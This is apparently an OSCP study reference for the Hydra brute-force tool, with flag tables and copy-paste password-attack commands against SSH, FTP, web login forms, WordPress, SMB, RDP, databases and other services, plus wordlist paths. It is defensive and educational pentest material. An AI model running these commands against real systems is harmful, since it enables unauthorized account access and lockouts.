Hydra — Password Brute-Force Reference

What is Hydra?

Fast, parallelized network logon brute-force tool. Supports 50+ protocols and can run multiple concurrent attack threads. Used to test authentication on network services when you have a username or wordlist.

OSCP note: Always have explicit authorization. Use -f to stop on first hit and keep -t low to avoid locking accounts or crashing services.

Ctrl+F: -e nsr · -e n · -e s · -e r · null password · same as username

External: Internal All The Things — Password Spraying


Install (Kali)

sudo apt update && sudo apt install -y hydra

Verify: hydra -h | head -1

Full install index → Installation - Kali Setup


Syntax

hydra [options] <TARGET> <MODULE> [module-options]

Important: The format is always TARGET MODULE — the target IP/host comes before the module name. Do not use MODULE://TARGET format.


📌 1) All Flags

FlagDescription
-l <user>Single username
-L <file>Username wordlist file
-p <pass>Single password
-P <file>Password wordlist file
-C <file>Colon-separated credential file (user:pass per line)
-e <chars>Extra password checks per user — see 📌 5) Extra Checks (`-e`)
-t <N>Parallel tasks per target (default: 16; lower for stability)
-T <N>Total concurrent targets (default: 64)
-fStop attack on this target after first valid credential found
-FStop all targets after first valid credential found anywhere
-s <port>Override the default port for the module
-SUse SSL/TLS for the connection
-o <file>Write found credentials to output file
-b <format>Output format for -o: text (default), json, jsonv1
-VVerbose — show every attempt
-vVerbose — show successful/failed per host
-dDebug mode (very noisy)
-w <sec>Wait time (seconds) between connection attempts
-W <sec>Max wait time for a response
-c <sec>Wait time between attempts per thread
-4Use IPv4 only
-6Use IPv6 only
-m <opts>Module-specific options (alternative to inline options)
-IIgnore existing restore file and start fresh
-RResume a previous aborted session (reads hydra.restore)
-x <min:max:charset>Password generator mode (lab use only)
-qDo not print messages about connection errors
TARGETIP or hostname — always comes before the module
MODULEProtocol module name — always comes after the target

📌 2) Supported Modules (Common)

ModuleProtocol / Service
sshSSH
ftpFTP
ftpsFTP over SSL
telnetTelnet
http-getHTTP Basic Auth (GET)
http-post-formHTTP login form (POST)
https-getHTTPS Basic Auth (GET)
https-post-formHTTPS login form (POST)
http-headHTTP HEAD auth
http-proxyHTTP proxy auth
smbWindows SMB
smbntSMB with NT hash
rdpRemote Desktop Protocol
vncVNC
smtpSMTP (mail)
smtp-enumSMTP user enumeration
pop3POP3 (mail)
pop3sPOP3 over SSL
imapIMAP (mail)
imapsIMAP over SSL
mssqlMicrosoft SQL Server
mysqlMySQL
postgresPostgreSQL
oracleOracle DB
ldap2 / ldap3LDAP v2 / v3
snmpSNMP community strings
ciscoCisco enable password
cisco-enableCisco privilege escalation
rshRemote Shell
rloginrlogin
pcnfsPC-NFS
sipSIP (VoIP)
redisRedis
mongodbMongoDB
xmppXMPP / Jabber
teamspeakTeamSpeak
# List all supported modules / show module help
hydra -U <module>         # e.g. hydra -U http-post-form
hydra -h                  # Full help

📌 3) Per-Protocol Examples

SSH

# Userlist + passlist (+ always add -e nsr)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f -e nsr -o hydra_ssh.txt
 
# Weak creds only — no wordlist
hydra -L users.txt -e nsr 10.10.10.10 ssh -t 4 -f -V
 
# Single user, try passlist
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f -e nsr
 
# Single cred test
hydra -l admin -p 'P@ssw0rd' 10.10.10.10 ssh -V
 
# Non-standard port
hydra -l admin -P passwords.txt 10.10.10.10 -s 2222 ssh -t 4 -f

FTP

Workflow: After username enum, try weak creds first (-e nsr = null, same-as-user, reverse) before rockyou.

Build users.txt with lowercase and capitalized variants (e.g. otis + Otis from LDAP/SMB/web enum).

# Step 1 — poor passwords only (no -P wordlist)
# -L  = username list
# -e nsr = null password | username as password | reversed username
hydra -L users.txt -e nsr 192.168.15.151 ftp -t 6 -f -V
 
# Step 2 — if nothing hits, add rockyou (still include -e nsr)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.15.151 ftp -t 6 -f -e nsr -o hydra_ftp.txt
 
# Try anonymous + blank password
hydra -l anonymous -p "" 192.168.15.151 ftp -V

Format: TARGET ftp — not ftp://TARGET (see Syntax above).


XMPP / Jabber

Use after enumerating users via Pidgin — prefer AS-REP roast over blind spray.

# Standard port 5222
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 xmpp -s 5222 -t 4 -f -o hydra_xmpp.txt
 
# Single user test
hydra -l testuser -P passwords.txt 10.10.10.10 xmpp -s 5222 -t 4 -V

See Pidgin and UseCases for ports > Port 5222 / 5223 — XMPP / Jabber.


HTTP Basic Auth (GET)

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-get "/admin" -f -V
 
# With non-standard port
hydra -l admin -P passwords.txt 10.10.10.10 -s 8080 http-get "/protected" -f
 
# HTTPS
hydra -l admin -P passwords.txt 10.10.10.10 https-get "/admin" -f

HTTP Login Form (POST)

This is the most complex module. The module argument is a single quoted string with three colon-separated fields:

"/path:POST_BODY:F=failure_string"
  │         │            │
  │         │            └── Text in response when login FAILS (or S= for success)
  │         └────────────── POST parameters with ^USER^ and ^PASS^ tokens
  └──────────────────────── URL path to POST to
# Basic form attack
hydra -L users.txt -e nsr -P passwords.txt 10.10.10.10 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
  -t 10 -f -o hydra_http.txt
 
# Using success string instead of failure string
hydra -l admin -P passwords.txt 10.10.10.10 \
  http-post-form "/login:user=^USER^&pass=^PASS^:S=Welcome" \
  -t 10 -f
 
# HTTPS form
hydra -l admin -P passwords.txt 10.10.10.10 \
  https-post-form "/login:username=^USER^&password=^PASS^:F=Login failed" \
  -f -V
 
# WordPress login
hydra -l admin -e nsr -P /usr/share/wordlists/rockyou.txt 10.10.10.10 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect" \
  -t 10 -f -o hydra_wp.txt
 
# SquirrelMail / webmail — redirect.php (capture failure string from Burp)
hydra -l otis -P /usr/share/wordlists/rockyou.txt 192.168.170.124 \
  http-post-form "/webmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect" \
  -t 10 -f -V
 
# With a session cookie (e.g. CSRF token stays constant)
hydra -l admin -P passwords.txt 10.10.10.10 \
  http-post-form "/login:username=^USER^&password=^PASS^&_token=abc123:F=Invalid" \
  -f -V

Tip: Use Burp to intercept a failed login and copy the exact POST body and failure string before running Hydra.

WebSockets — not a Hydra target

Hydra has no WebSocket module. Login over WS usually works like this:

  1. HTTP POST login → session cookie or JWT (Hydra http-post-form still applies)
  2. First WebSocket message carries token/username/password in JSON (Hydra cannot brute this)
ScenarioTool
Classic form login at /loginHydra http-post-form
Token in first WS frame after HTTP authBurp Suite Intruder on WS message (CE throttled) or custom script
HTTP Basic before WS upgradeHydra http-get / https-get on upgrade URL

If auth is only inside WebSocket JSON, capture message format in Burp and script retries — or fuzz HTTP login endpoints first with ffuf.


SMB

hydra -L users.txt -P passwords.txt 10.10.10.10 smb -t 4 -f
 
# Single user
hydra -l Administrator -P passwords.txt 10.10.10.10 smb -t 2 -f -V

RDP

# RDP is very noisy and slow — use low thread count
hydra -L users.txt -P passwords.txt 10.10.10.10 rdp -t 2 -f -V

POP3 / IMAP

Use when ports 110/143 (or TLS 995/993) are open — read mail for creds. Full workflow: Mail (SMTP POP3 IMAP).

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET pop3 -t 4 -f
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET imap -t 4 -f
# POP3: USER → PASS → LIST → RETR 1
# IMAP: a1 LOGIN → a1 SELECT INBOX → a1 FETCH 1 BODY[]

SMTP

See Mail (SMTP POP3 IMAP) for VRFY/EXPN user enum and manual commands.

hydra -L users.txt -P passwords.txt 10.10.10.10 smtp -t 8 -f
 
# SMTP over SSL (port 465)
hydra -L users.txt -P passwords.txt 10.10.10.10 -s 465 -S smtp -t 8 -f

MySQL / MSSQL / PostgreSQL

# MySQL
hydra -l root -P passwords.txt 10.10.10.10 mysql -t 4 -f
 
# MSSQL — sa (SQL auth)
hydra -l sa -P passwords.txt 10.10.10.10 mssql -t 4 -f
hydra -L users.txt -P passwords.txt 10.10.10.10 mssql -t 4 -f
 
# After spray — domain cred on impacket needs -windows-auth
impacket-mssqlclient DOMAIN/user:pass@10.10.10.10 -windows-auth
 
# PostgreSQL
hydra -l postgres -P passwords.txt 10.10.10.10 postgres -t 4 -f

VNC

# VNC usually has no username — only password
hydra -P passwords.txt 10.10.10.10 vnc -t 4 -f

SNMP (community string brute-force)

hydra -P /usr/share/wordlists/SecLists/Discovery/SNMP/common-snmp-community-strings.txt \
  10.10.10.10 snmp -t 4

Telnet

hydra -L users.txt -P passwords.txt 10.10.10.10 telnet -t 4 -f -V

LDAP

# LDAP v3
hydra -L users.txt -P passwords.txt 10.10.10.10 ldap3 -t 4 -f

📌 4) Credential File Format (-C)

Instead of separate user/pass lists, use a combined file:

# credentials.txt
admin:admin
admin:password
root:toor
guest:guest
hydra -C credentials.txt 10.10.10.10 ssh -t 4 -f

📌 5) Extra Checks (-e)

The -e flag adds bonus password attempts for each username — without needing a password wordlist. Cheap wins on lab boxes; always use before rockyou.

hydra -h | grep -A2 "\-e "
# -e nsr    optional: n=empty/same/reverse password checks (e.g. -e nsr)

All -e options

Pass one or more letters (order does not matter). Each letter adds checks per user from -l / -L:

FlagLetterPassword triedExample user adminExample user otis
-e nn = nullEmpty / blank passwordadmin:otis:
-e ss = sameUsername as passwordadmin:adminotis:otis
-e rr = reverseReversed usernameadmin:nimdaotis:sito

Valid combinations

Combine any subset — letters are additive:

CommandChecks run (per user)
-e nnull only
-e ssame only
-e rreverse only
-e nsnull + same
-e nrnull + reverse
-e srsame + reverse
-e nsrnull + same + reverse (recommended)
-e rsnsame as nsr (order ignored)

Default habit: -e nsr on every spray unless you have a reason to narrow it.

With vs without -P

ModeCommandWhat happens
-e onlyhydra -L users.txt -e nsr TARGET ftpOnly null / same / reverse — no wordlist
-e + -Phydra -L users.txt -P rockyou.txt -e nsr TARGET sshWordlist plus the three extra checks per user
-e + -phydra -l admin -p test -e nsr TARGET sshSingle password plus extra checks

-e requires a username (-l or -L). Not useful for password-only modules (e.g. VNC with no user).

Examples — each flag alone

# Null password only
hydra -L users.txt -e n TARGET ftp -t 6 -f
 
# Username as password only (admin:admin, otis:otis)
hydra -L users.txt -e s TARGET ssh -t 4 -f
 
# Reversed username only (admin:nimda)
hydra -L users.txt -e r TARGET telnet -t 4 -f
 
# All three (best default)
hydra -L users.txt -e nsr TARGET ftp -t 6 -f -V

Examples — with wordlist

# SSH — rockyou + extra checks
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ssh -e nsr -t 4 -f
 
# SMB
hydra -L users.txt -P passwords.txt TARGET smb -e nsr -t 4 -f
 
# HTTP form
hydra -L users.txt -P passwords.txt TARGET \
  http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid" -e nsr -t 10 -f
 
# Single user
hydra -l admin -P passwords.txt TARGET ssh -e nsr -t 4 -f

OSCP workflow

# 1) After username enum — weak creds only (FTP classic)
hydra -L users.txt -e nsr TARGET ftp -t 6 -f -V
 
# 2) Still nothing — add rockyou, keep -e nsr
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ftp -t 6 -f -e nsr
 
# 3) Build users.txt with case variants (otis, Otis, OTIS)

Initial foothold > 📌 1) Default & Weak Credentials · Every Box - Manual Workflow

What -e does not do

Not covered by -eTry instead
admin:password, root:toorManual defaults → Default Credentials
Known user:pass pairs-C creds.txt or -l user -p pass
Full password spray-P rockyou.txt (+ -e nsr on top)
SNMP community strings-P snmp-strings.txt (no username)

📌 6) Output & Reporting

# Save results to text file
hydra -L users.txt -P passwords.txt 10.10.10.10 ssh -f -o hydra_results.txt
 
# JSON output
hydra -L users.txt -P passwords.txt 10.10.10.10 ssh -f -o hydra_results.json -b json
 
# Resume an interrupted session
hydra -R

For reporting: Note the exact command used, target, module, wordlists, thread count, start/end time, and any service impact observed.


Use CaseWordlist
General passwords/usr/share/wordlists/rockyou.txt
Top 500 worst passwords/usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt
Common credentials/usr/share/wordlists/SecLists/Passwords/Common-Credentials/best110.txt
Default credentials/usr/share/wordlists/SecLists/Passwords/Default-Credentials/
Usernames/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
Web app users/usr/share/wordlists/SecLists/Usernames/Names/names.txt
Site-specific (spider)CeWLcewl -w cewl.txt http://TARGET/
SNMP community strings/usr/share/wordlists/SecLists/Discovery/SNMP/common-snmp-community-strings.txt

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# SSH
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ssh -t 4 -f -e nsr -o hydra_ssh.txt
 
# -e only (no -P) — null / same / reverse
hydra -L users.txt -e nsr TARGET ssh -t 4 -f -V
hydra -L users.txt -e n TARGET ftp -t 6 -f          # null only
hydra -L users.txt -e s TARGET ftp -t 6 -f          # same only
hydra -L users.txt -e r TARGET ftp -t 6 -f          # reverse only
 
# FTP
hydra -L users.txt -e nsr TARGET ftp -t 6 -f -V              # weak creds first (no -P)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ftp -t 6 -f -e nsr -o hydra_ftp.txt
 
# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET http-get "/admin" -f -V
 
# HTTP POST form (get the exact path + params + failure string from Burp first)
hydra -L users.txt -P passwords.txt TARGET \
  http-post-form "/login:username=^USER^&password=^PASS^:F=FAILURE_STRING" \
  -t 10 -f -o hydra_http.txt
 
# WordPress login
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect" \
  -t 10 -f
 
# SquirrelMail / webmail (redirect.php)
hydra -l USER -P /usr/share/wordlists/rockyou.txt TARGET \
  http-post-form "/webmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect" \
  -t 10 -f
 
# SMB
hydra -L users.txt -P passwords.txt TARGET smb -t 4 -f
 
# RDP (slow + noisy)
hydra -L users.txt -P passwords.txt TARGET rdp -t 2 -f
 
# VNC (password only)
hydra -P /usr/share/wordlists/rockyou.txt TARGET vnc -t 4 -f
 
# XMPP / Jabber (port 5222)
hydra -L users.txt -P passwords.txt TARGET xmpp -s 5222 -t 4 -f

Practical Tips

  • Keep -t low (2–6) to avoid account lockouts and service crashes.
  • Always use -f — stop on first hit and move on.
  • For HTTP forms, use Burp Suite to capture a failed login request and copy the exact POST body and failure string before building the Hydra command.
  • -e nsr — null + same + reverse password per user; use alone before rockyou, then with -P after. See 📌 5) Extra Checks (`-e`).
  • For RDP and SMB, be extra cautious with thread count — these services lock accounts aggressively.